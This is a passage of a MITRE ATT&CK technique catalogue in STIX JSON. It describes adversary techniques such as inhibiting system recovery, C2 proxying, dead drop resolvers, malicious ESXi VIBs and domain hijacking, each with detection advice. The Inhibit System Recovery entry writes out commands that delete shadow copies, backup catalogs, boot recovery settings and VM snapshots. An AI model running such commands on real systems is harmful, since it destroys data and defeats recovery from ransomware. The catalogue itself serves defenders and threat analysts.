            "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "created": "2019-04-02T13:54:43.136Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1490",
                    "external_id": "T1490"
                },
                {
                    "source_name": "Dark Reading Code Spaces Cyber Attack",
                    "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.",
                    "url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"
                },
                {
                    "source_name": "FireEye WannaCry 2017",
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
                },
                {
                    "source_name": "Cybereason",
                    "description": "Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Diskshadow",
                    "description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"
                },
                {
                    "source_name": "Crytox Ransomware",
                    "description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.",
                    "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"
                },
                {
                    "source_name": "Rhino Security Labs AWS S3 Ransomware",
                    "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
                },
                {
                    "source_name": "ZDNet Ransomware Backups 2020",
                    "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.",
                    "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"
                },
                {
                    "source_name": "disable_notif_synology_ransom",
                    "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.",
                    "url": "https://x.com/TheDFIRReport/status/1498657590259109894"
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            "name": "Inhibit System Recovery",
            "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)",
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                    "source_name": "Demaske Netsh Persistence",
                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
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                    "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
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                    "url": "https://attack.mitre.org/techniques/T1566/003",
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                    "source_name": "Lookout Dark Caracal Jan 2018",
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            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
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                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
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            "created": "2020-03-14T23:08:20.244Z",
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                    "url": "https://attack.mitre.org/techniques/T1090/001",
                    "external_id": "T1090.001"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
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            "name": "Internal Proxy",
            "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
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            "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "external_id": "T1216"
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                {
                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
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                    "source_name": "LOLBAS Project",
                    "description": "Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
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            "name": "System Script Proxy Execution",
            "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1094",
                    "external_id": "T1094"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Custom Command and Control Protocol",
            "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "created": "2020-03-14T22:24:21.841Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1102/001",
                    "external_id": "T1102.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Dead Drop Resolver",
            "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
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                    "phase_name": "command-and-control"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
            "created": "2017-05-31T21:31:27.510Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1118",
                    "external_id": "T1118"
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                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                },
                {
                    "source_name": "LOLBAS Installutil",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
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            "name": "InstallUtil",
            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)",
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            "x_mitre_contributors": [
                "Casey Smith",
                "Travis Smith, Tripwire"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3"
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            "id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "created": "2020-03-15T00:30:25.444Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1001/001",
                    "external_id": "T1001.001"
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-15T19:59:22.822Z",
            "name": "Junk Data",
            "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6",
            "created": "2020-10-02T17:08:07.742Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1598/001",
                    "external_id": "T1598.001"
                },
                {
                    "source_name": "ThreatPost Social Media Phishing",
                    "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/"
                }
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            "modified": "2025-04-15T23:11:18.959Z",
            "name": "Spearphishing Service",
            "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
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                {
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                    "phase_name": "reconnaissance"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Robert Simmons, @MalwareUtkonos"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "created": "2017-05-31T21:30:42.657Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1043",
                    "external_id": "T1043"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-18T17:59:21.142Z",
            "name": "Commonly Used Port",
            "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)",
            "kill_chain_phases": [
                {
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                    "phase_name": "command-and-control"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f8ba7d61-11c5-4130-bafd-7c3ff5fbf4b5",
            "created": "2025-03-27T18:41:08.494Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/006",
                    "external_id": "T1505.006"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
                },
                {
                    "source_name": "VMware VIBs",
                    "description": "Kyle Gleed. (2011, September 13). What's in a VIB?. Retrieved March 27, 2025.",
                    "url": "https://blogs.vmware.com/vsphere/2011/09/whats-in-a-vib.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:24:04.676Z",
            "name": "vSphere Installation Bundles",
            "description": "Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.\n\nVIBs can be broken down into three components:(Citation: VMware VIBs)\n\n* VIB payload: a `.vgz` archive containing the directories and files to be created and executed on boot when the VIBs are loaded.  \n* Signature file: verifies the host acceptance level of a VIB, indicating what testing and validation has been done by VMware or its partners before publication of a VIB. By default, ESXi hosts require a minimum acceptance level of PartnerSupported for VIB installation, meaning the VIB is published by a trusted VMware partner. However, privileged users can change the default acceptance level using the `esxcli` command line interface. Additionally, VIBs are able to be installed regardless of acceptance level by using the <code> esxcli software vib install --force</code> command. \n* XML descriptor file: a configuration file containing associated VIB metadata, such as the name of the VIB and its dependencies.  \n\nAdversaries may leverage malicious VIB packages to maintain persistent access to ESXi hypervisors, allowing system changes to be executed upon each bootup of ESXi \u2013 such as using  `esxcli` to enable firewall rules for backdoor traffic, creating listeners on hard coded ports, and executing backdoors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022) Adversaries may also masquerade their malicious VIB files as PartnerSupported by modifying the XML descriptor file.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Janantha Marasinghe"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436",
            "created": "2021-03-31T14:01:52.321Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/007",
                    "external_id": "T1552.007"
                },
                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
                },
                {
                    "source_name": "Docker API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/"
                },
                {
                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:09:34.621Z",
            "name": "Container API",
            "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Center for Threat-Informed Defense (CTID)",
                "Jay Chen, Palo Alto Networks",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
            "created": "2020-10-01T00:51:28.513Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/001",
                    "external_id": "T1584.001"
                },
                {
                    "source_name": "Krebs DNS Hijack 2019",
                    "description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.",
                    "url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/"
                },
                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
                    "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
                },
                {
                    "source_name": "Palo Alto Unit 42 Domain Shadowing 2022",
                    "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/domain-shadowing/"
                },
                {
                    "source_name": "Microsoft Sub Takeover 2020",
                    "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:22:55.487Z",
            "name": "Domains",
            "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)",
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                    "phase_name": "resource-development"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jeremy Galloway"
            ],
            "x_mitre_deprecated": false,
